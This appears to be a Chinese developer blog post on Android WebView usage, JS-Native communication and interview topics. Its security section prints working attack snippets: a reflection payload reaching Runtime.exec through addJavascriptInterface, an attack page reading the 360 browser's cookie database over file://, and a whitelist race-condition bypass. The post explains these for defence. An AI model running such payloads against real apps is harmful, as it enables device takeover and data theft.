Webview的使用和面试常见问题(webview_)
ztj100 2024-10-28 21:09 29 浏览 0 评论
Webview的使用
需要申请权限,例如android.permission.INTERNET等。
WebSettings webSettings = webView.getSettings();
webView.setWebChromeClient(new WebChromeClient());
webSettings.setJavaScriptEnabled(true)
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
webView.setWebViewClient(new myWebVliewClient());
关注回调的顺序
下载
webView.setDownloadListener(new DownloadListener(){
@Override
public void onDownloadStart(String url, String userAgent, String contentDisposition,
String mimetype, long contentLength) {
//交给其他应用处理 或 自己开启线程执行
Uri uri = Uri.parse(url);
Intent intent = new Intent(Intent.ACTION_VIEW,uri);
startActivity(intent);
}
});
WebViewClient和WebChromeClient的区别
这里有很多资料,中文网站千篇一律,
我看了一下Stack Overflow,下面我比较认可
WebViewClient主要涉及展示内容的方法,可以通过这些方法介入内容的展示,WebChromeClient提供了可以和Activity交互的一些方法,可以将js调用反馈给Activity,或者请求一些native 的资源。
- WebViewClient
void doUpdateVisitedHistory (WebView view, String url, boolean isReload)
void onFormResubmission (WebView view, Message dontResend, Message resend)
void onLoadResource (WebView view, String url)
void onPageCommitVisible (WebView view, String url)
void onPageFinished (WebView view, String url)
void onPageStarted (WebView view, String url, Bitmap favicon)
void onReceivedClientCertRequest (WebView view, ClientCertRequest request)
void onReceivedError (WebView view, int errorCode, String description, String failingUrl)
void onReceivedError (WebView view, WebResourceRequest request, WebResourceError error)
void onReceivedHttpAuthRequest (WebView view, HttpAuthHandler handler, String host, String realm)
void onReceivedHttpError (WebView view, WebResourceRequest request, WebResourceResponse errorResponse)
void onReceivedLoginRequest (WebView view, String realm, String account, String args)
void onReceivedSslError (WebView view, SslErrorHandler handler, SslError error)
boolean onRenderProcessGone (WebView view, RenderProcessGoneDetail detail)
void onSafeBrowsingHit (WebView view, WebResourceRequest request, int threatType, SafeBrowsingResponse callback)
void onScaleChanged (WebView view, float oldScale, float newScale)
void onTooManyRedirects (WebView view, Message cancelMsg, Message continueMsg)
void onUnhandledKeyEvent (WebView view, KeyEvent event)
WebResourceResponse shouldInterceptRequest (WebView view, WebResourceRequest request)
WebResourceResponse shouldInterceptRequest (WebView view, String url)
boolean shouldOverrideKeyEvent (WebView view, KeyEvent event)
boolean shouldOverrideUrlLoading (WebView view, WebResourceRequest request)
boolean shouldOverrideUrlLoading (WebView view, String url)
- WebChromeClient
Bitmap getDefaultVideoPoster ()
View getVideoLoadingProgressView ()
void getVisitedHistory (ValueCallback<String[]> callback)
void onCloseWindow (WebView window)
boolean onConsoleMessage (ConsoleMessage consoleMessage)
void onConsoleMessage (String message, int lineNumber, String sourceID)
boolean onCreateWindow (WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg)
void onExceededDatabaseQuota (String url, String databaseIdentifier, long quota, long estimatedDatabaseSize, long totalQuota, WebStorage.QuotaUpdater quotaUpdater)
void onGeolocationPermissionsHidePrompt ()
void onGeolocationPermissionsShowPrompt (String origin, GeolocationPermissions.Callback callback)
void onHideCustomView ()
boolean onJsAlert (WebView view, String url, String message, JsResult result)
boolean onJsBeforeUnload (WebView view, String url, String message, JsResult result)
boolean onJsConfirm (WebView view, String url, String message, JsResult result)
boolean onJsPrompt (WebView view, String url, String message, String defaultValue, JsPromptResult result)
boolean onJsTimeout ()
void onPermissionRequest (PermissionRequest request)
void onPermissionRequestCanceled (PermissionRequest request)
void onProgressChanged (WebView view, int newProgress)
void onReachedMaxAppCacheSize (long requiredStorage, long quota, WebStorage.QuotaUpdater quotaUpdater)
void onReceivedIcon (WebView view, Bitmap icon)
void onReceivedTitle (WebView view, String title)
void onReceivedTouchIconUrl (WebView view, String url, boolean precomposed)
void onRequestFocus (WebView view)
void onShowCustomView (View view, int requestedOrientation, WebChromeClient.CustomViewCallback callback)
void onShowCustomView (View view, WebChromeClient.CustomViewCallback callback)
boolean onShowFileChooser (WebView webView, ValueCallback<Uri[]> filePathCallback, WebChromeClient.FileChooserParams fileChooserParams)
JS -> Native 通讯
WebViewClient#shouldOverrideUrlLoading
<button onclick="callAndroid()" style="height: 26px ;width:160px; text-align: center; vertical-align: middle ">JS 调用Native</button>
<script>
function callAndroid() {
location.href= "jsbridge://webview?&arg1=hello&arg2=world"
}
</script>
<a href="http://www.xxx.com">链接方式</a>
webview.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String s) {
Uri uri = Uri.parse(s);
Log.d("test112", s);
if(uri.getScheme().startsWith("jsbridge")) {
String arg1 = uri.getQueryParameter("arg1");
String arg2 = uri.getQueryParameter("arg2");
String s1 = "JS调用Native,参数1:"+arg1+"参数2:"+arg2;
Toast.makeText(MainActivity.this, s1, Toast.LENGTH_LONG).show();
}
return true;
}
});
@JavascriptInterface
public class AndroidToJS extends Object {
@JavascriptInterface
public void hello(String msg) {
Toast.makeText(MainActivity.this, msg, Toast.LENGTH_LONG).show();
}
}
webView.addJavascriptInterface(new AndroidToJS(), "test");
<script>
function callAndroid() {
test.hello("JS调用Native");
}
</script>
- 提供用于JS调用的方法必须为public类型
- 在API 17及以上,提供用于JS调用的方法必须要添加注解@JavascriptInterface
- 这个方法不是在主线程中被调用的
WebChromeClient#onJsAlert()、onJsConfirm()、onJsPrompt()
<script type="text/javascript">
function promptTest(param){
prompt(param);
}
</script>
<input type="button" value="prompt方式" onclick="promptTest('prompt方式的参数')" /><br />
webview.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
...
result.cancle();
return true;
}
});
如果不调用result.cancle(),并且返回false,会展示一个dialog
Native -> JS 通讯
webView.loadUrl("javascript:xxx)
webView.loadUrl("javascript: alert('Native注入的JS')");
或者内置js代码
InputStreamReader isr = null;
try {
isr = new InputStreamReader(this.getAssets().open("test.js"), "UTF-8");
BufferedReader bf = new BufferedReader(isr);
String content = "";
StringBuilder sb = new StringBuilder();
while (content != null) {
content = bf.readLine();
if (content == null) {
break;
}
sb.append(content.trim());
}
bf.close();
wholeJS = sb.toString();
} catch (IOException e) {
e.printStackTrace();
}
webView.loadUrl("javascript: " + wholeJS);
evaluateJavascript
<script>
function getUID() {
var id = 120;
return id + 1;
}
</script>
webView.evaluateJavascript("getUID()", new ValueCallback<String>() {
@Override
public void onReceiveValue(String value) {
Log.d("CALLBACK", value);
}
});
比较
安全问题
远程代码执行漏洞
Android API level 17以及之前的系统版本,由于程序没有正确限制使用addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法。 通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接与本地的Java接口进行交互。就有可能出现手机被安装木马程序、发送扣费短信、通信录和短信被窃取、获取本地设备的SD卡中的文件等信息,从而造成信息泄露,甚至手机被远程控制等安全问题。
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
//从执行命令后返回的输入流中得到字符串,
从而得到文件名的信息,有很严重暴露隐私的危险。
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getInputStream2String(p.getInputStream()));
addJavascriptInterface接口,需使用以下方法:Android4.2以上,允许被JavaScript调用的方法必须以@JavascriptInterface进行注解声明,
密码明文存储漏洞
WebView默认开启密码保存功能mWebView.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择"是",密码会被明文保到/data/data/com.package.name/databases/webview.db
域控制不严格漏洞
Android中默认mWebView.setAllowFileAccess(true),在File域下,能够执行任意的JavaScript代码,同源策略跨域访问能够对私有目录文件进行访问等。APP对嵌入的WebView未对file:/// 形式的URL做限制,会导致隐私信息泄露,针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。
360手机浏览器缺陷可导致用户敏感数据泄漏
以360手机浏览器4.8版本为例,由于未对file域做安全限制,恶意APP调用360浏览器加载本地的攻击页面(比如恶意APP释放到SDCARD上的一个HTML)后,就可以获取360手机浏览器下的所有私有数据,包括webviewCookiesChromium.db下的cookie内容,攻击页面关键代码:
function getDatabase() {
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
xmlhttp = request;
var prefix = "file:////data/data/com.qihoo.browser/databases";
var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db
var path = prefix.concat(postfix);
// 获取本地文件代码
xmlhttp.open("GET", path, false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
return ret;
}
copyFile(); //自定义函数,释放filehehe.html到sd卡上
String url = "file:///mnt/sdcard/filehehe.html";
Intent contIntent = new Intent();
contIntent.setAction("android.intent.action.VIEW");
contIntent.setData(Uri.parse(url));
Intent intent = new Intent();
intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(url));
this.startActivity(intent);
jsb白名单竞争绕过
原因是getUrl不安全
function attack() {
setTimeout(func1, 5);
func2();
}
function func2() {
location.href="http://www.baidu.com";
}
function func1() {
window.stub.invokeMethod(xxx);
}
js的执行是异步的,通过setTimeout使func1延时5ms执行时,js线程不会等待func1完成而是先执行func2函数,在func2函数进行跳转,假设func2加载白名单url,这是loadUrl执行完的那一刻getUrl的返回值就改变了,即使新的页面可能没加载完成。
参考
- Oversecured detects dangerous vulnerabilities in the TikTok Android app
- 知乎 - 【腾讯御安全】Android安全开发之WebView中的地雷
- 掘金 - Android WebView常见的安全漏洞和解决方案
项目中的使用
封装WebView,使用缓存池进行缓存,避免重复创建, ConcurrentLinkedHashMap、通过反射改变context,加异常catch等逻辑。
自定义WebViewClient、通过shouldInterceptRequest,加载存在本地的资源。
自定义Object,作为一个Bridge作为Native和Webview沟通的桥梁。 例如WebviewClient的任何回调都可以通过获取这个Object去发送信息。
- Native -> JS 底层还是通过loadUrl的方式、和前端约定好方法,javascript:JSBridge._handleMessage(xxx);
- JS -> Native 通过 WebViewClient的shouldOverrideUrlLoading,判断Scheme是否在List中(List约定了业务上支持的功能,通过scheme去调用不同的native方法)通过 WebViewClient的onLoadResource,通过自定义Object去处理分发消息。
参考资料
- 掘金 - 揭开WebView神秘的面纱系列(二)之Native与WebView的通信
- 简书 - 最全面总结 Android WebView与 JS 的交互方式
- 简书 - Android:这是一份全面 & 详细的Webview使用攻略
- 知乎 - 【腾讯御安全】Android安全开发之WebView中的地雷
- 掘金 - Android WebView常见的安全漏洞和解决方案
相关推荐
- sharding-jdbc实现`分库分表`与`读写分离`
-
一、前言本文将基于以下环境整合...
- 三分钟了解mysql中主键、外键、非空、唯一、默认约束是什么
-
在数据库中,数据表是数据库中最重要、最基本的操作对象,是数据存储的基本单位。数据表被定义为列的集合,数据在表中是按照行和列的格式来存储的。每一行代表一条唯一的记录,每一列代表记录中的一个域。...
- MySQL8行级锁_mysql如何加行级锁
-
MySQL8行级锁版本:8.0.34基本概念...
- mysql使用小技巧_mysql使用入门
-
1、MySQL中有许多很实用的函数,好好利用它们可以省去很多时间:group_concat()将取到的值用逗号连接,可以这么用:selectgroup_concat(distinctid)fr...
- MySQL/MariaDB中如何支持全部的Unicode?
-
永远不要在MySQL中使用utf8,并且始终使用utf8mb4。utf8mb4介绍MySQL/MariaDB中,utf8字符集并不是对Unicode的真正实现,即不是真正的UTF-8编码,因...
- 聊聊 MySQL Server 可执行注释,你懂了吗?
-
前言MySQLServer当前支持如下3种注释风格:...
- MySQL系列-源码编译安装(v5.7.34)
-
一、系统环境要求...
- MySQL的锁就锁住我啦!与腾讯大佬的技术交谈,是我小看它了
-
对酒当歌,人生几何!朝朝暮暮,唯有己脱。苦苦寻觅找工作之间,殊不知今日之事乃我心之痛,难道是我不配拥有工作嘛。自面试后他所谓的等待都过去一段时日,可惜在下京东上的小金库都要见低啦。每每想到不由心中一...
- MySQL字符问题_mysql中字符串的位置
-
中文写入乱码问题:我输入的中文编码是urf8的,建的库是urf8的,但是插入mysql总是乱码,一堆"???????????????????????"我用的是ibatis,终于找到原因了,我是这么解决...
- 深圳尚学堂:mysql基本sql语句大全(三)
-
数据开发-经典1.按姓氏笔画排序:Select*FromTableNameOrderByCustomerNameCollateChinese_PRC_Stroke_ci_as//从少...
- MySQL进行行级锁的?一会next-key锁,一会间隙锁,一会记录锁?
-
大家好,是不是很多人都对MySQL加行级锁的规则搞的迷迷糊糊,一会是next-key锁,一会是间隙锁,一会又是记录锁。坦白说,确实还挺复杂的,但是好在我找点了点规律,也知道如何如何用命令分析加...
- 一文讲清怎么利用Python Django实现Excel数据表的导入导出功能
-
摘要:Python作为一门简单易学且功能强大的编程语言,广受程序员、数据分析师和AI工程师的青睐。本文系统讲解了如何使用Python的Django框架结合openpyxl库实现Excel...
- 用DataX实现两个MySQL实例间的数据同步
-
DataXDataX使用Java实现。如果可以实现数据库实例之间准实时的...
- MySQL数据库知识_mysql数据库基础知识
-
MySQL是一种关系型数据库管理系统;那废话不多说,直接上自己以前学习整理文档:查看数据库命令:(1).查看存储过程状态:showprocedurestatus;(2).显示系统变量:show...
- 如何为MySQL中的JSON字段设置索引
-
背景MySQL在2015年中发布的5.7.8版本中首次引入了JSON数据类型。自此,它成了一种逃离严格列定义的方式,可以存储各种形状和大小的JSON文档,例如审计日志、配置信息、第三方数据包、用户自定...
你 发表评论:
欢迎- 一周热门
-
-
MySQL中这14个小玩意,让人眼前一亮!
-
旗舰机新标杆 OPPO Find X2系列正式发布 售价5499元起
-
【VueTorrent】一款吊炸天的qBittorrent主题,人人都可用
-
面试官:使用int类型做加减操作,是线程安全吗
-
C++编程知识:ToString()字符串转换你用正确了吗?
-
【Spring Boot】WebSocket 的 6 种集成方式
-
PyTorch 深度学习实战(26):多目标强化学习Multi-Objective RL
-
pytorch中的 scatter_()函数使用和详解
-
与 Java 17 相比,Java 21 究竟有多快?
-
基于TensorRT_LLM的大模型推理加速与OpenAI兼容服务优化
-
- 最近发表
- 标签列表
-
- idea eval reset (50)
- vue dispatch (70)
- update canceled (42)
- order by asc (53)
- spring gateway (67)
- 简单代码编程 贪吃蛇 (40)
- transforms.resize (33)
- redisson trylock (35)
- 卸载node (35)
- np.reshape (33)
- torch.arange (34)
- npm 源 (35)
- vue3 deep (35)
- win10 ssh (35)
- vue foreach (34)
- idea设置编码为utf8 (35)
- vue 数组添加元素 (34)
- std find (34)
- tablefield注解用途 (35)
- python str转json (34)
- java websocket客户端 (34)
- tensor.view (34)
- java jackson (34)
- vmware17pro最新密钥 (34)
- mysql单表最大数据量 (35)